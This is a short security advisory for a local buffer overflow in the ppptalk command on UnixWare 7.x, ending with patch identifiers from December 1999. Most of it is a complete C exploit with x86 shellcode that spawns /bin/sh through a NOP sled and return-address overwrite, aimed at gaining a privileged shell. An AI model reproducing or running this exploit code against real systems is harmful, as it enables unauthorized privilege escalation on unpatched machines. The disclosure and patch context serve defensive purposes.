COMMAND

    ppptalk

SYSTEMS AFFECTED

    Unixware 7.x

PROBLEM

    'what's your style?' posted following exploit.

    /*
       /usr/bin/ppptalk UnixWare exploit
       by: K2
    */

    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>


    char shell[] =
     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";

    const int buffersize=364;

    const char x86_nop=0x90;
    long nop,esp;
    long offset=0;
    char buffer[2000];

    long get_esp() { __asm__("movl %esp,%eax"); }

    int main (int argc, char *argv[]) {
        int i;
        if (argc > 1) offset = strtol(argv[1], NULL, 0);
        if (argc > 2) nop = strtoul(argv[2], NULL, 0);
        else
            nop = 101;

        esp = get_esp();

        memset(buffer, x86_nop, buffersize);
        memcpy(buffer+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i < buffersize-4; i += 4)
            *((int *) &buffer[i]) = esp+offset;

        execl("/usr/bin/ppptalk", "ppptalk","prompt", buffer, NULL);

        printf("exec failed!\n");
        return 0;
    }

SOLUTION

    Patches for ppptalk were released  in December 1999.  The  patched
    ppptalk is in

      ptf7444a  -  UnixWare 7.1.0
      SSE044    -  UnixWare 7.0.1
      SSE043    -  UnixWare 7.0.0